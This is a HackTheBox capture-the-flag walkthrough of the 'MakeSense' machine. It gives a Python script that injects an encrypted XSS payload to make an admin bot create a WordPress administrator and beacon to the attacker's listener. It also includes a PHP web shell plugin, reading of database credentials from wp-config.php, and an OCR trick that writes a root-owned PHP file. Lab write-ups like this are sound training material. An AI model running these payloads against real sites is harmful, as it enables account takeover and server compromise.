← Back to CTF
HTB Medium 3 min read

MakeSense

Walkthrough of the HackTheBox machine MakeSense: weaponising an exposed AES-GCM key to inject XSS through an encrypted voice-transcription pipeline, hijacking a Selenium admin bot to create a WordPress administrator, then escalating to root through a PHP OCR service running as root.

HackTheBoxXSSAES-GCMWordPressAdmin BotPHPOCRPrivilege Escalation
Platform HackTheBox Difficulty Medium Author Rana Uzair Ahmad
MakeSense

Enumeration

nmap -sC -sV -p- --open -Pn 10.129.x.x
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.6p1 Ubuntu
443/tcp open  ssl/http Apache httpd 2.4.58
| ssl-cert: Subject: commonName=makesense.htb
|_http-generator: WordPress 7.0
echo "10.129.x.x  makesense.htb" | sudo tee -a /etc/hosts

Browsing to https://makesense.htb shows a corporate homepage with a voice message recorder widget. Open Firefox DevTools → Debuggerwp-content/themes/webagency/assets/js/whisper/whisper-wrapper.js. Line 1 exposes the encryption key:

const ENCRYPTION_KEY = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI';

The applySymbolMapping method in the same file is commented "Map spoken words to their symbol equivalents for XSS injection". In main.js, the WordPress AJAX nonce is inlined:

var webagency_ajax = {
    "ajax_url": "https://makesense.htb/wp-admin/admin-ajax.php",
    "nonce":    "85e6eda673"
};

The save_voice_results AJAX action stores the encrypted transcription in a WordPress post reviewed by a Selenium admin bot every ~60 seconds.

Foothold

Start a listener on port 9001 for the bot callback:

python3 -m http.server 9001

The payload fetches the user-new.php nonce from inside the admin session, creates a new WordPress administrator, and beacons back. Encrypt and submit it:

#!/usr/bin/env python3
import os, json, base64, hashlib, subprocess, tempfile, urllib.parse
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

KEY    = 'bLs6z8iv3gWpsvyeabFosDjb4YQe7jdU13rI'
TARGET = 'makesense.htb'
IP     = '10.129.x.x'
NONCE  = '85e6eda673'
MY_IP  = '10.10.x.x'

key_bytes = hashlib.sha256(KEY.encode()).digest()

xss = f"""<script>
fetch("/wp-admin/user-new.php").then(r=>r.text()).then(h=>{{
  let m=h.match(/name="_wpnonce_create-user" value="([^"]+)"/);
  if(!m){{ new Image().src="http://{MY_IP}:9001/no_nonce"; return; }}
  let f=new FormData();
  f.append("user_login","pwned"); f.append("email","p@p.com");
  f.append("pass1","Pwned@2026!"); f.append("pass2","Pwned@2026!");
  f.append("role","administrator"); f.append("createuser","");
  f.append("_wpnonce_create-user",m[1]); f.append("action","createuser");
  fetch("/wp-admin/user-new.php",{{method:"POST",body:f}})
    .then(r=>r.text())
    .then(t=>{{ new Image().src="http://{MY_IP}:9001/"+(t.includes("added")?"ok":"no"); }})
}})
</script>"""

cf = subprocess.run(['curl','-sk','--resolve',f'{TARGET}:443:{IP}',
    '-X','POST',f'https://{TARGET}/wp-admin/admin-ajax.php',
    '-d',f'action=submit_contact_form&nonce={NONCE}&name=X&email=x@x.com&phone=1&message=test'],
    capture_output=True, text=True)
post_id = json.loads(cf.stdout)['data']['post_id']

payload  = {"transcription": xss, "summary": "note"}
iv       = os.urandom(12)
ct       = AESGCM(key_bytes).encrypt(iv, json.dumps(payload).encode(), None)
enc      = base64.b64encode(iv + ct).decode()

body = (
    f'action=save_voice_results&nonce={NONCE}&post_id={post_id}'
    f'&encrypted_payload={urllib.parse.quote(enc, safe="")}'
)
with tempfile.NamedTemporaryFile(mode='w', suffix='.txt', delete=False) as fh:
    fh.write(body); tmp = fh.name

subprocess.run(['curl','-sk','--resolve',f'{TARGET}:443:{IP}',
    '-X','POST',f'https://{TARGET}/wp-admin/admin-ajax.php',
    '-H','Content-Type: application/x-www-form-urlencoded',
    '--data-binary',f'@{tmp}'], capture_output=True)
os.unlink(tmp)

Wait ~60 seconds. When the listener shows /ok the admin user exists.

WordPress Admin → RCE

Log into https://makesense.htb/wp-login.php as pwned / Pwned@2026!. Navigate to Plugins → Add Plugin → Upload Plugin, upload shell.zip:

mkdir /tmp/shell
cat > /tmp/shell/shell.php << 'EOF'
<?php
/**
 * Plugin Name: Shell
 * Version: 1.0
 */
system($_GET['cmd']);
EOF
cd /tmp && zip -r shell.zip shell/

After activating the plugin, confirm RCE:

https://makesense.htb/wp-content/plugins/shell/shell.php?cmd=id
uid=33(www-data) gid=33(www-data)

Privilege Escalation

www-data → walter

https://makesense.htb/wp-content/plugins/shell/shell.php?cmd=cat+/var/www/html/wp-config.php
define( 'DB_USER',     'walter' );
define( 'DB_PASSWORD', '<REDACTED>' );
ssh walter@10.129.x.x
walter@makesense:~$ cat user.txt
<REDACTED>

walter → root

ss -tlnp
LISTEN 0  127.0.0.1:8001
ps aux | grep php
root  1396  php -S 127.0.0.1:8001 -t /root/ocr4/

Forward the port and open the OCR app in the browser:

ssh -L 8001:127.0.0.1:8001 walter@10.129.x.x

Browse to http://127.0.0.1:8001 — HTTP Basic Auth with walter / <REDACTED>. The app draws text on a canvas, runs Tesseract OCR on it, and saves the result to saved/<filename> with .php extension allowed.

Generate a PNG of the PHP payload (no trailing semicolon — Tesseract reads ; as :):

php -r '
$text = chr(60).chr(63)."php system(".chr(34)."cat /root/root.txt".chr(34).") ".chr(63).chr(62);
$img  = imagecreate(800, 80);
$w    = imagecolorallocate($img, 255, 255, 255);
$b    = imagecolorallocate($img, 0, 0, 0);
imagestring($img, 5, 5, 25, $text, $b);
ob_start(); imagepng($img);
file_put_contents("/tmp/payload.png", ob_get_clean());
'

scp walter@10.129.x.x:/tmp/payload.png /tmp/payload.png

Intercept the canvas Recognize POST in Burp, replace the base64 data with the payload image:

base64 -w0 /tmp/payload.png

Paste the output (keeping data:image/png;base64, prefix) into Burp Repeater and forward. The OCR result shows <?php system("cat /root/root.txt") ?>. Type root.php in the Save as field and click Save.

http://127.0.0.1:8001/saved/root.php
<REDACTED>

// Discussion

Enjoyed this? Let us work together.

I am open to security internships and junior roles.